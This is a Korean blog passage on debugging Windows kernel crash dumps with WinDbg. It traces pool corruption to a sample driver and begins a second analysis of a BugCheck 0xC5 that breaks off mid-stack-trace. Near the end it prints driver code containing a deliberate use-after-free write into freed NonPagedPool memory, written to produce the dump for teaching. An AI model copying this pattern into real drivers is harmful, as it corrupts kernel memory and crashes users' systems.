82b5f754 e806faf0ff call nt!KeSignalGateBoostPriority (82a6f15f)

82b5f759 648b0d24010000 mov ecx,dword ptr fs:[124h]

82b5f760 8d8186000000 lea eax,[ecx+86h]

82b5f766 66ff00 inc word ptr [eax]

82b5f769 0fb700 movzx eax,word ptr [eax]

82b5f76c 6685c0 test ax,ax

82b5f76f 0f85e4020000 jne nt!ExDeferredFreePool+0x3f8 (82b5fa59)

82b5f775 8d4140 lea eax,[ecx+40h]

82b5f778 3900 cmp dword ptr [eax],eax

82b5f77a 0f84d9020000 je nt!ExDeferredFreePool+0x3f8 (82b5fa59)

82b5f780 e8145df0ff call nt!KiCheckForKernelApcDelivery (82a65499)

82b5f785 e9cf020000 jmp nt!ExDeferredFreePool+0x3f8 (82b5fa59)

82b5f78a b9ff010000 mov ecx,1FFh

82b5f78f 8b02 mov eax,dword ptr [edx] // 3) edx 가 가리키는 _POOL_DESCRIPTOR.PendingFrees 값을 eax에 저장

82b5f791 89442420 mov dword ptr [esp+20h],eax

82b5f795 8b10 mov edx,dword ptr [eax] // 4) eax 값을 edx에 설정 (문제 발생 위치)

82b5f797 ff44241c inc dword ptr [esp+1Ch]

82b5f79b 8364241000 and dword ptr [esp+10h],0

82b5f7a0 89542428 mov dword ptr [esp+28h],edx // 5) edx를 esp+28에 저장

82b5f7a4 83c0f8 add eax,0FFFFFFF8h

82b5f7a7 0fb710 movzx edx,word ptr [eax]

82b5f7aa 33db xor ebx,ebx

82b5f7ac c1ea09 shr edx,9

82b5f7af 8d7744 lea esi,[edi+44h]

82b5f7b2 43 inc ebx

82b5f7b3 f00fc11e lock xadd dword ptr [esi],ebx

82b5f7b7 0fb77002 movzx esi,word ptr [eax+2]

82b5f7bb 23f1 and esi,ecx

82b5f7bd 6bf6f8 imul esi,esi,0FFFFFFF8h

82b5f7c0 8bde mov ebx,esi

82b5f7c2 8d7750 lea esi,[edi+50h]

82b5f7c5 f00fc11e lock xadd dword ptr [esi],ebx

82b5f7c9 0fb77002 movzx esi,word ptr [eax+2]

82b5f7cd 23f1 and esi,ecx

82b5f7cf 8d34f0 lea esi,[eax+esi*8]

82b5f7d2 8974240c mov dword ptr [esp+0Ch],esi

82b5f7d6 f7c6ff0f0000 test esi,0FFFh

82b5f7dc 7468 je nt!ExDeferredFreePool+0x1e6 (82b5f846)

... ... (함수가 길어 중간 내용 생략)

82b5f93e 8930 mov dword ptr [eax],esi

82b5f940 895004 mov dword ptr [eax+4],edx

82b5f943 894604 mov dword ptr [esi+4],eax

82b5f946 8902 mov dword ptr [edx],eax

82b5f948 8b442428 mov eax,dword ptr [esp+28h] // 6) 앞서 저장했던 esp+28 값을 eax에 설정

82b5f94c 3b442424 cmp eax,dword ptr [esp+24h]

82b5f950 0f853ffeffff jne nt!ExDeferredFreePool+0x135 (82b5f795) // 7) 4)번 82b5f795 로 이동

역시나 7)번을 보면 4)번 위치인 82b5f795로 이동하는 부분이 보인다(이전 함수 출력 결과에서는 3)번 위치).

kd> dd esp+28 L1

82b65b50 11223344

6)번의 esp+28 값을 확인해보니 우리가 찾던 "11223344" 값이 확인된다. 7)번까지 수행하고 다시 4)번으로 돌아가서 명령을 수행하다 문제가 발생한 것이 분명하다.

함수가 좀 복잡하여 이해하기 쉽게 미리 확인한 내용을 주석으로 적어 보았다.

1)~7)번까지 동작을 한 줄로 정리하면 다음과 같다.

Pool Descriptor 의 PendingFrees 리스트를 순회하다 해당 엔트리 하나가 11223344 여서 문제 발생

1)번 동작인 "lea edx,[edi+100h]"에서 edi 는 해제하려는 풀 메모리의 POOL_DESCRIPTOR 이다.

edi 값인 82b74940가 콜 스택의 첫 번째 파라미터와 동일하기 때문이다.

kd> r edi

Last set context:

edi=82b74940

kd> dd ebp+8 L1

82b65b68 82b74940

이어서, ExDeferredFreePool 함수 원형을 살펴보면 첫 번째 파라미터는 POOL_DESCRIPTOR다.

VOID

ExDeferredFreePool(

IN PPOOL_DESCRIPTOR PoolDesc

);

따라서 1)번 동작은 POOL_DESCRIPTOR의 +100번 위치의 필드를 구하는 동작이다.

edi 값인 82b74940를 dt _POOL_DESCRIPTOR 명령으로 확인해보자.

kd> dt _POOL_DESCRIPTOR 82b74940

nt!_POOL_DESCRIPTOR

+0x000 PoolType : 0 ( NonPagedPool )

+0x004 PagedLock : _KGUARDED_MUTEX

+0x004 NonPagedLock : 0x8b451858

+0x040 RunningAllocs : 0x7715b

+0x044 RunningDeAllocs : 0x6af0a

+0x048 TotalBigPages : 0xce1

+0x04c ThreadsProcessingDeferrals : 1

+0x050 TotalBytes : 0x128c1a0

+0x080 PoolIndex : 0

+0x0c0 TotalPages : 0x7b2

+0x100 PendingFrees : 0x8652f468 -> 0x8458fbd0 Void

+0x104 PendingFreeDepth : 0x22

+0x140 ListHeads : [512] _LIST_ENTRY [ 0x82b74a80 - 0x82b74a80 ]

+0x100 위치의 필드는 지연 해제할 리스트의 목록인 PendingFrees 이다.

3)~7)번을 살펴보면 이 PendingFrees 의 다음 포인터를 계속 가져오면서 리스트 순회를 하는 동작 중에 "11223344"라는 잘못된 값을 만나 문제가 발생한 것이다.

좋다. 이러면 PendingFrees 리스트 어딘가에 11223344 값을 담고 있는 엔트리가 있어야 할 것이다.

리스트를 출력하는 dl 명령으로 PendingFrees가 가리키는 0x8652f468을 넣어 살펴보자.

kd> dl 0x8652f468

8652f468 8458fbd0 00000000 00060940 8458fc00

8458fbd0 8457ec68 82b74bb8 00000000 00000000

8457ec68 82b74d70 82b74d70 00000000 00000000

82b74d70 82b74d70 82b74d70 84598008 84584008

어라? 11223344 값을 갖고 있는 엔트리가 있어야 하는데 보이지 않는다.

82b74d70에서 리스트가 끝나는데, 잘 보면 리스트 마지막이 NULL 이 아니다.

PendingFrees 리스트는 SINGLE_LIST_ENTRY 여서 마지막은 NULL로 끝나야 한다. 메모리 손상에 의해 리스트의 연결이 엉뚱하게 바뀐 것으로 보인다.

PendingFrees 리스트를 순회하다 손상된 엔트리에 있는 11223344 값을 가져왔지만, 손상된 엔트리의 흔적은 이후에 리스트의 링크가 변경되면서 없어져 버렸다.

참고로 이런 일이 가능한 이유는 PendingFrees 리스트가 여러 스레드에 의해 재구성될 수 있는 구조여서 중간에 바뀌어 버릴 수 있기 때문이다. 디버깅을 통해 확인된 내용으로 주제를 벗어나는 내용이라 자세히 다루지 않았다. 여기서는 리스트에서 손상된 부분을 찾을 수 없는 상황으로 이해하면 되겠다.

어쨌든 추적 중인 리스트가 정상적이지 않아 일반적인 방법으로는 더 이상 추적이 불가능한 상황이다.

한층 더 어려워진 문제를 풀기 위해서 잠시 생각을 정리할 시간이 필요해 보인다.

일단 풀 메모리가 해제될 때 풀의 상태가 어떻게 변할지 생각해보자.

풀 메모리가 ExFreePoolWithTag 함수로 해제되면 풀의 첫 부분에 이전 해제된 풀의 주소가 설정된다.

이전 해제된 풀의 첫 부분에는 마찬가지로 또 다른 해제된 풀 주소가 설정되므로 해제된 풀들의 싱글 링크드 리스트가 구성된다.

위에 dl 명령으로 확인했던 첫 번째 풀 주소인 8652f468을 다시 살펴보자.

kd> !pool 8652f468

Pool page 8652f468 region is Nonpaged pool

8652f000 size: 2e8 previous size: 0 (Allocated) Scbf

8652f2e8 size: 8 previous size: 2e8 (Free) }n=\

8652f2f0 size: 40 previous size: 8 (Allocated) Even (Protected)

8652f330 size: 50 previous size: 40 (Allocated) Vadl

8652f380 size: e0 previous size: 50 (Free) Thre

*8652f460 size: 208 previous size: e0 (Free ) *Irp Process: 85d35030

Pooltag Irp : Io, IRP packets

8652f668 size: 18 previous size: 208 (Allocated) ReEv

8652f680 size: 68 previous size: 18 (Allocated) FMsl

8652f6e8 size: 28 previous size: 68 (Allocated) VadS

8652f710 size: 68 previous size: 28 (Allocated) EtwR (Protected)

8652f778 size: 2e8 previous size: 68 (Allocated) Thre (Protected)

8652fa60 size: b8 previous size: 2e8 (Allocated) File (Protected)

8652fb18 size: 68 previous size: b8 (Allocated) FMsl

8652fb80 size: b0 previous size: 68 (Allocated) AfdC (Protected)

8652fc30 size: 68 previous size: b0 (Allocated) FMsl

8652fc98 size: 8 previous size: 68 (Free) KSpp

8652fca0 size: 48 previous size: 8 (Allocated) Vad

8652fce8 size: 68 previous size: 48 (Allocated) EtwR (Protected)

8652fd50 size: 138 previous size: 68 (Allocated) ALPC (Protected)

8652fe88 size: 138 previous size: 138 (Allocated) ALPC (Protected)

8652ffc0 size: 40 previous size: 138 (Allocated) Even (Protected)

역시 Irp 풀 태그를 갖고 있는 해제된 풀이 확인된다.

kd> db 8652f468

8652f468 d0 fb 58 84 00 00 00 00-40 09 06 00 00 fc 58 84 ..X.....@.....X.

8652f478 78 f4 52 86 78 f4 52 86-00 00 00 00 18 00 00 00 x.R.x.R.........

8652f488 00 01 0b 0d 00 00 00 01-38 da af ff 00 00 00 00 ........8.......

8652f498 0a 0f 52 82 10 da af ff-00 00 00 00 6c da af ff ..R.........l...

8652f4a8 12 00 30 00 00 00 00 00-30 00 f7 85 70 00 f7 85 ..0.....0...p...

8652f4b8 70 00 f7 85 6e 94 c1 82-72 53 cf 82 0a 0f 52 82 p...n...rS....R.

8652f4c8 10 da af ff 38 da af ff-00 00 00 00 00 00 00 00 ....8...........

8652f4d8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

그리고, 첫 4바이트에 8458fbd0 (거꾸로 읽어야 한다!) 값이 확인된다.

8458fbd0 값이 어떤 메모리 영역인지 확인하기 위해 !pool 명령으로 확인해보자.

kd> !pool 8458fbd0

Pool page 8458fbd0 region is Nonpaged pool

8458f000 size: c8 previous size: 0 (Allocated) Ntfx

8458f0c8 size: 30 previous size: c8 (Free) ....

8458f0f8 size: c8 previous size: 30 (Allocated) Ntfx

8458f1c0 size: 90 previous size: c8 (Allocated) MmCa

8458f250 size: a8 previous size: 90 (Allocated) File (Protected)

8458f2f8 size: 68 previous size: a8 (Allocated) FMsl

8458f360 size: c8 previous size: 68 (Allocated) Ntfx

8458f428 size: 28 previous size: c8 (Free) usbp

8458f450 size: 68 previous size: 28 (Allocated) FMsl

8458f4b8 size: c8 previous size: 68 (Allocated) Ntfx

8458f580 size: 90 previous size: c8 (Allocated) MmCa

8458f610 size: a8 previous size: 90 (Allocated) File (Protected)

8458f6b8 size: 68 previous size: a8 (Allocated) FMsl

8458f720 size: 90 previous size: 68 (Allocated) MmCa

8458f7b0 size: c8 previous size: 90 (Allocated) Ntfx

8458f878 size: c8 previous size: c8 (Allocated) Ntfx

8458f940 size: 20 previous size: c8 (Free) XSav

8458f960 size: 90 previous size: 20 (Allocated) MmCa

8458f9f0 size: a8 previous size: 90 (Allocated) File (Protected)

8458fa98 size: 68 previous size: a8 (Allocated) FMsl

8458fb00 size: c8 previous size: 68 (Allocated) Ntfx

*8458fbc8 size: 140 previous size: c8 (Free ) *Io Process: 85d35030

Pooltag Io : general IO allocations, Binary : nt!io

8458fd08 size: 2f8 previous size: 140 (Free ) usbp

!pool 명령으로 확인해보면 역시나 다음 해제된 풀의 주소이다. 여기서 알 수 있는 사실은 해제된 풀의 첫 4바이트는 해제된 풀들의 리스트이고 이는 POOL_DESCRIPTOR의 PendingFrees 리스트와 연관이 있다는 것이다.

달리 말해 이 첫 4바이트가 손상되면 PendingFrees 리스트에도 문제가 생겨 이번과 같은 이슈가 발생하게 된다.

그렇다면 우리가 찾고 있는 "11223344" 값은 누군가에 의해 손상된 값이 아닐까?

이를 테면 누군가 메모리를 해제하고 해제된 메모리의 첫 4바이트에 11223344 값을 써서 의도치 않게 PendingFrees 리스트를 손상시키는 상황을 상상해보자.

그럴 듯 하다. 그렇다면... 그래! 모두 뒤져보자.

메모리 어딘가에는 11223344 값이 기록되어 있을 테니 전체 메모리 탐색을 통해 증거를 찾아보자.

메모리 검색을 위해 s 명령을 사용했으며 검색 범위는 커널 주소 영역 전체인 80000000 부터 ffffffff까지 설정했다.

참고로 검색 크기를 설정하는 L 옵션에 ? 를 사용해야 큰 범위 설정이 가능하다.

kd> s 80000000 L?80000000 44 33 22 11

// kdvm.dll 모듈

80bd0342 44 33 22 11 02 00 00 00-00 00 00 00 ff ff ff ff D3".............

// nt 모듈

82b656c4 44 33 22 11 50 2b ba 82-50 2b ba 82 95 f7 b5 82 D3".P+..P+......

// nt 모듈

82b656d8 44 33 22 11 95 f7 b5 82-60 5b b6 82 e7 13 01 87 D3".....`[......

// nt 모듈

82b6570c 44 33 22 11 00 00 00 00-80 23 b7 82 00 00 00 00 D3"......#......

// nt 모듈

82b65a30 44 33 22 11 58 a1 49 86-60 5b b6 82 03 01 00 00 D3".X.I.`[......

// nt 모듈

82b65aa0 44 33 22 11 02 00 00 00-00 00 00 00 95 f7 b5 82 D3".............

// nt 모듈

82b65af8 44 33 22 11 60 01 40 01-ff ff ff ff 30 00 13 8d D3".`.@.....0...

// nt 모듈

82b65b50 44 33 22 11 58 18 45 8b-46 49 b7 82 02 00 00 00 D3".X.E.FI......

// nt 모듈

82b69008 44 33 22 11 00 50 18 00-f9 06 00 00 00 00 00 00 D3"..P..........

// nt 모듈

82b9fa44 44 33 22 11 02 00 00 00-00 00 00 00 95 f7 b5 82 D3".............

// nt 모듈

82ba2138 44 33 22 11 95 f7 b5 82-60 5b b6 82 e7 13 01 87 D3".....`[......

// nt 모듈

82ba216c 44 33 22 11 03 00 00 00-80 23 b7 82 00 00 00 00 D3"......#......

// nt 모듈

82ba2490 44 33 22 11 58 a1 49 86-60 5b b6 82 03 01 00 00 D3".X.I.`[......

// nt 모듈

82ba2500 44 33 22 11 02 00 00 00-00 00 00 00 95 f7 b5 82 D3".............

// nt 모듈

82ba2558 44 33 22 11 60 01 40 01-ff ff ff ff 30 00 13 8d D3".`.@.....0...

// nt 모듈

82ba25b0 44 33 22 11 00 00 00 00-46 49 b7 82 02 00 00 00 D3".....FI......

// nt 모듈

82dab21c 44 33 22 11 00 50 18 00-f9 06 00 00 00 00 00 00 D3"..P..........

// nt 모듈

82dab4cc 44 33 22 11 02 00 00 00-00 00 00 00 ff ff ff ff D3".............

// ***

8448ae08 44 33 22 11 40 30 fb 85-10 ae 48 84 10 ae 48 84 D3".@0....H...H.

// BSOD 관련 crashdmp.sys 풀 영역

85b8102c 44 33 22 11 02 00 00 00-00 00 00 00 95 f7 b5 82 D3".............

// crashdmp.sys 모듈

8d1682d0 44 33 22 11 02 00 00 00-00 00 00 00 95 f7 b5 82 D3".............

// crashdmp.sys 모듈

8d1686e8 44 33 22 11 02 00 00 00-00 00 00 00 95 f7 b5 82 D3".............

// MyDrv.sys 모듈

90e01322 44 33 22 11 8b e5 5d c3-cc cc cc cc cc cc 8b ff D3"...].........

우리는 해제된 풀을 찾을 목적이기 때문에 결과에서 모듈 영역 주소와 연관이 없는 풀 메모리 영역을 제외하면 8448ae08 주소 하나가 남는다.(주석 내용은 내가 lmva와 !pool 명령으로 하나씩 확인하면서 적은 것으로 *** 표시한 주소가 모듈 영역 주소도 아니면서 가장 의심이 가는 주소다)

8448ae08 내용을 풀 헤더를 포함해서 한 번 살펴보자.

kd> db 8448ae08-8

↓"MDrv" ↓"11223344"

8448ae00 1d 00 40 08 4d 44 72 76-44 33 22 11 40 30 fb 85 ..@.MDrvD3".@0..

8448ae10 10 ae 48 84 10 ae 48 84-00 00 00 00 18 00 00 00 ..H...H.........

8448ae20 00 01 0b 0d 00 00 00 01-38 da af ff 00 00 00 00 ........8.......

8448ae30 0a 0f 52 82 10 da af ff-00 00 00 00 6c da af ff ..R.........l...

8448ae40 12 00 30 00 00 00 00 00-30 00 f7 85 70 00 f7 85 ..0.....0...p...

8448ae50 70 00 f7 85 6e 94 c1 82-72 53 cf 82 0a 0f 52 82 p...n...rS....R.

8448ae60 10 da af ff 38 da af ff-00 00 00 00 00 00 00 00 ....8...........

8448ae70 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

8448ae08 주소에 찾고 있는 11223344 값이 보이고, 4바이트 앞 풀 태그 영역에는 "MDrv"라는 의미 있는 문자열이 확인된다.

검증을 위해 풀 헤더 시작 주소인 8448ae00을 POOL_HEADER 구조체로 확인해보자.

kd> dt _POOL_HEADER 8448ae00

nt!_POOL_HEADER

+0x000 PreviousSize : 0y000011101 (0x1d)

+0x000 PoolIndex : 0y0000000 (0)

+0x002 BlockSize : 0y001000000 (0x40) // 풀 크기

+0x002 PoolType : 0y0000100 (0x4)

+0x000 Ulong1 : 0x840001d

+0x004 PoolTag : 0x7672444d // MDrv 풀 태그

+0x004 AllocatorBackTraceIndex : 0x444d

+0x006 PoolTagHash : 0x7672

BlockSize가 0x40이라고 나온다. 실제 바이트로 환산하려면 8을 곱해줘야 한다.

kd> ?40*8

Evaluate expression: 512 = 00000200

0x200이 풀 크기로 계산된다. 만약 8448ae00이 유효한 풀 주소가 맞다면 전체 풀 크기인 8448ae00+0x200 뒤에 다음 풀 정보가 있을 것이다.

kd> db 8448ae00 L200+10

8448ae00 1d 00 40 08 4d 44 72 76-44 33 22 11 40 30 fb 85 ..@.MDrvD3".@0..

8448ae10 10 ae 48 84 10 ae 48 84-00 00 00 00 18 00 00 00 ..H...H.........

8448ae20 00 01 0b 0d 00 00 00 01-38 da af ff 00 00 00 00 ........8.......

8448ae30 0a 0f 52 82 10 da af ff-00 00 00 00 6c da af ff ..R.........l...

8448ae40 12 00 30 00 00 00 00 00-30 00 f7 85 70 00 f7 85 ..0.....0...p...

8448ae50 70 00 f7 85 6e 94 c1 82-72 53 cf 82 0a 0f 52 82 p...n...rS....R.

8448ae60 10 da af ff 38 da af ff-00 00 00 00 00 00 00 00 ....8...........

8448ae70 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

8448ae80 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

8448ae90 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

8448aea0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

8448aeb0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

8448aec0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

8448aed0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

8448aee0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

8448aef0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

8448af00 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

8448af10 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

8448af20 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

8448af30 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

8448af40 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

8448af50 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

8448af60 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

8448af70 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

8448af80 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

8448af90 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

8448afa0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

8448afb0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

8448afc0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

8448afd0 00 00 00 00 00 00 00 00-03 00 00 00 00 00 00 00 ................

8448afe0 00 00 00 00 00 00 00 00-00 00 00 00 78 35 4a 85 ............x5J.

8448aff0 00 00 00 00 00 00 00 00-00 00 00 00 30 50 d3 85 ............0P..

// 다음 풀 주소 8448b000

8448b000 00 00 fb 15 49 6f 20 20-00 00 00 00 04 00 01 00 ....Io ........

다음 풀 주소 위치인 8448b000에 Io 라는 문자열이 확인된다. !pool 명령으로도 확인해보자.

kd> !pool 8448b000

Pool page 8448b000 region is Nonpaged pool

*8448b000 size: fd8 previous size: 0 (Allocated) *Io Process: 8618c1d0

Pooltag Io : general IO allocations, Binary : nt!io

8448bfd8 size: 28 previous size: fd8 (Allocated) VadS

Io 풀 태그를 갖는 정상적인 풀 메모리가 맞다.

그렇다면 찾은 8448ae00은 MDrv 풀 태그를 갖는 정상적으로 해제된 풀 메모리였을 것이다.

무엇보다 해제된 풀 헤더 다음 첫 4바이트에 해제된 풀의 주소가 아닌 "11223344" 값을 갖고 있는 것이 결정적인 증거다.

이는 풀의 소유자가 자신이 해제한 메모리를 재사용했다는 증거이다.

이제 앞서 배운 !for_each_module 명령과 lmva 명령을 통해 MDrv 풀 태그의 소유자를 찾아보자.

kd> !for_each_module s -a @#Base @#End MDrv

90e012f7 4d 44 72 76 68 f8 01 00-00 6a 00 ff 15 48 20 e0 MDrvh....j...H .

kd> lmva 90e012f7

Browse full module list

start end module name

90e00000 90e08000 MyDrv (private pdb symbols)

Loaded symbol image file: MyDrv.sys

Image path: \??\C:\WinDbg\MyDrv.sys

Image name: MyDrv.sys

Browse all global symbols functions data

Timestamp: Thu Nov 30 18:44:39 2017 (5A1FD307)

CheckSum: 000094C4

ImageSize: 00008000

Translations: 0000.04b0 0000.04e4 0409.04b0 0409.04e4

이런! MyDrv.sys 모듈이 범인이었다. 마지막 퍼즐 한 조각을 찾은 것 같은 가슴 벅찬 순간이다.

이쯤에서 MyDrv.sys 모듈에서 해제 리스트를 손상시킨 소스코드를 공개하겠다.

(참고로 오늘 덤프는 학습을 위해 아래 예제 코드를 통해 생성한 덤프다)

typedef struct _FREE_LIST_DATA

{

ULONG ulTag;

CHAR cBuffer[500];

} FREE_LIST_DATA, *PFREE_LIST_DATA;

void CorruptPoolHeader(void)

{

PFREE_LIST_DATA pData;

pData = ExAllocatePoolWithTag(NonPagedPool, sizeof(FREE_LIST_DATA), 'vrDM');

if (pData)

{

ExFreePool(pData);

}

// Oops!

pData->ulTag = 0x11223344;

}

메모리를 해제한 뒤에 첫 번째 필드인 ulTag 에 11223344 값을 쓰고 있다!

이런 단순한 실수로 이렇게 엄청난 덤프를 만들 수 있다는 사실이 놀랍다.

이번 예제는 일부러 눈에 잘 띄는 값으로 해제된 메모리를 손상시켰지만, 실제로는 비트 연산으로 1 비트만 손상시키는 경우도 있다. 이런 경우 분석이 거의 불가능하다. 이번처럼 분석이 성공하는 경우는 굉장히 운이 좋은 날이라고 생각하면 된다. 보통 메모리 손상의 유형 중 특정 위치의 메모리만 손상시키는 2번 시나리오는 손상된 위치에서 범인을 찾기가 매우 어렵기 때문이다.

예제를 통해 실수는 한 줄이지만 이로 인한 분석은 굉장히 어렵다는 사실을 충분히 느꼈으리라 생각한다.

이런 이유로 개발시 드라이버 확인 프로그램을 충분히 활용하고 해제된 메모리는 재사용하지 않게 주의해야 한다.

[0xC5] 풀 헤더 손상

Paul.. — Mon, 16 Jul 2018 23:39:50 +0900

이번 덤프는 BugCheck 0xC5: DRIVER_CORRUPTED_EXPOOL인데 주로 풀 메모리 관련해서 유효하지 않은 주소 영역에 접근했을 때 발생한다.

0xA, 0x50 등과 함께 이런 오류 코드가 발생하면 누군가가 메모리를 손상시켰구나라고 생각하면 대부분 맞다.

기본 분석부터 시작해보자.

kd> !analyze -v

*******************************************************************************

* *

* Bugcheck Analysis *

* *

*******************************************************************************

DRIVER_CORRUPTED_EXPOOL (c5)

An attempt was made to access a pageable (or completely invalid) address at an

interrupt request level (IRQL) that is too high. This is

caused by drivers that have corrupted the system pool. Run the driver

verifier against any new (or suspect) drivers, and if that doesn't turn up

the culprit, then use gflags to enable special pool.

Arguments:

Arg1: 00000004, memory referenced

Arg2: 00000002, IRQL

Arg3: 00000001, value 0 = read operation, 1 = write operation

Arg4: 8355a4c1, address which referenced memory

Debugging Details:

------------------

DUMP_CLASS: 1

DUMP_QUALIFIER: 402

BUILD_VERSION_STRING: 7601.18044.x86fre.win7sp1_gdr.130104-1431

SYSTEM_MANUFACTURER: LG Electronics

SYSTEM_PRODUCT_NAME: U460-MFBJL

SYSTEM_SKU: System SKUNumber

SYSTEM_VERSION: 1.0

BIOS_VENDOR: Phoenix Technologies Ltd.

BIOS_VERSION: UNCNSF09

BIOS_DATE: 04/22/2013

BASEBOARD_MANUFACTURER: LG Electronics

BASEBOARD_PRODUCT: U560

BASEBOARD_VERSION: 1.0

DUMP_TYPE: 0

BUGCHECK_P1: 4

BUGCHECK_P2: 2

BUGCHECK_P3: 1

BUGCHECK_P4: ffffffff8355a4c1

BUGCHECK_STR: 0xC5_2

CURRENT_IRQL: 2

FAULTING_IP:

nt!ExAllocatePoolWithTag+4b7

8355a4c1 897004 mov dword ptr [eax+4],esi

CPU_COUNT: 4

CPU_MHZ: 703

CPU_VENDOR: GenuineIntel

CPU_FAMILY: 6

CPU_MODEL: 3a

CPU_STEPPING: 9

CPU_MICROCODE: 6,3a,9,0 (F,M,S,R) SIG: 17'00000000 (cache) 17'00000000 (init)

DEFAULT_BUCKET_ID: WIN7_DRIVER_FAULT

PROCESS_NAME: explorer.exe

ANALYSIS_SESSION_HOST: PAUL-PC

ANALYSIS_SESSION_TIME: 11-14-2017 10:36:26.0368

ANALYSIS_VERSION: 10.0.10575.567 amd64fre

TRAP_FRAME: b683f62c -- (.trap 0xffffffffb683f62c)

ErrCode = 00000002

eax=00000000 ebx=835706c0 ecx=8b6ac9f0 edx=86b117b0 esi=83570840 edi=835706c4

eip=8355a4c1 esp=b683f6a0 ebp=b683f6e8 iopl=0 nv up ei pl zr na pe nc

cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246

nt!ExAllocatePoolWithTag+0x4b7:

8355a4c1 897004 mov dword ptr [eax+4],esi ds:0023:00000004=????????

Resetting default scope

LAST_CONTROL_TRANSFER: from 8355a4c1 to 8347ac7b

STACK_TEXT:

b683f62c 8355a4c1 badb0d00 86b117b0 b683f690 nt!KiTrap0E+0x2cf

b683f6e8 83ba6aa1 00000000 00000040 7843464d nt!ExAllocatePoolWithTag+0x4b7

b683f700 83ba8091 8ae62bf8 8bbdc820 869f1530 fltmgr!ExAllocateFromPagedLookasideList+0x27

b683f718 95224e17 86a2aaf8 00000010 00000010 fltmgr!FltAllocateContext+0xa9

b683f73c 952251b6 8bbdc820 b683f79c 86e48320 MyDrv+0x8e17

b683f758 952252cc 8bbdc820 b683f79c 86e48320 MyDrv+0x91b6

b683f77c 83ba7aeb 8bbdc820 b683f79c b683f7c8 MyDrv+0x92cc

b683f7e8 83baa9f0 b683f82c d39a3dd8 00000000 fltmgr!FltpPerformPreCallbacks+0x34d

b683f800 83bbe1fe b683f82c 83bc1f3c 00000000 fltmgr!FltpPassThroughInternal+0x40

b683f814 83bbe8b7 b683f82c d39a3dd8 86b76f80 fltmgr!FltpCreateInternal+0x24

b683f858 83470c0e 86e1c590 86e0f7e8 8b67de58 fltmgr!FltpCreate+0x2c9

b683f870 b65ddffa 86b76f80 8b67de58 86b76f80 nt!IofCallDriver+0x63

b683f900 83470c0e 8b67de58 d39a3dd8 86b76fdc SomeDrv+0x5ffa

b683f918 836803ee a90c97a7 b683fac0 00000000 nt!IofCallDriver+0x63

b683f9f0 8365fc1e 86d4ae20 85ebb9c8 89a08d20 nt!IopParseDevice+0xee6

b683fa6c 83670030 00000000 b683fac0 00000040 nt!ObpLookupObjectName+0x4fa

b683fac8 83666b0e 081df704 85ebb9c8 00000001 nt!ObOpenObjectByName+0x165

b683fb44 8366cc94 179b0980 00020000 081df704 nt!IopCreateFile+0x673

b683fb8c b65b9725 179b0980 00020000 081df704 nt!NtOpenFile+0x2a

b683fc14 8347789a 179b0980 00020000 081df704 BadDrv+0x1725

b683fc14 775c7094 179b0980 00020000 081df704 nt!KiFastCallEntry+0x12a

081df6d8 775c5ce4 740723ea 179b0980 00020000 ntdll!KiFastSystemCallRet

081df6dc 740723ea 179b0980 00020000 081df704 ntdll!ZwOpenFile+0xc

081df724 74072a9e 081df744 00000000 00020000 ntmarta!I_MartaFileNtOpenFile+0x4d

081df754 74072b79 179b0038 00020000 081df7a8 ntmarta!MartaGetFileParentContext+0x5c

081df7b4 740726fe 179b0038 081df7e0 00000005 ntmarta!MartaGetRightsFromContext+0xd1

081df808 6fca3819 17a823a0 00000001 00000005 ntmarta!AccRewriteGetNamedRights+0x7f

081df844 6fca3f7c 17a823a0 081df86c 00000000 ntshrui!CFolderAclEngine::_GetAcl+0x30

081df874 6fca3f05 17d65814 081df894 6fca316c ntshrui!CFolderAclEngine::_IsItemPrivate+0x63

081df88c 6fca4960 00000000 17d65814 081df8c8 ntshrui!CSmbShareEngine::GetItemSharingStatus+0x1b

081df8b4 6fca4a18 17d65814 17f28478 00659530 ntshrui!CSharingOverlayPrivate::_GetSharingStatus+0x85

081df8d4 76512ca8 00622348 17bafb04 00000010 ntshrui!CSharingOverlayPrivate::IsMemberOf+0x69

081df904 7662fcb4 081df958 00000010 00000064 SHELL32!CFSIconOverlayManager::_GetFileOverlayInfo+0x11a

081df920 76512bae 0062adc0 081df958 00000010 SHELL32!CFSIconOverlayManager::GetFileOverlayInfo+0x1b

081dfb64 76512ab8 040503f8 081dfbe4 00000001 SHELL32!CFSFolder::_GetOverlayInfo+0x10f

081dfb78 7651478b 17dd39c0 040503f8 081dfbe4 SHELL32!CFSFolder::GetOverlayIndex+0x28

081dfba0 765138fe 08db2d04 040503f8 081dfbe4 SHELL32!CDesktopFolder::GetOverlayIndex+0x40

081dfbc0 7014b2d0 08de60f8 040503f8 081dfbe4 SHELL32!CRegFolder::GetOverlayIndex+0x45

081dfbdc 7014b289 ffffffff 040503f8 0f741488 EXPLORERFRAME!CNscOverlayTask::_Extract+0x32

081dfbf4 701108f6 08de60e4 01000000 80000000 EXPLORERFRAME!CNscOverlayTask::InternalResumeRT+0x31

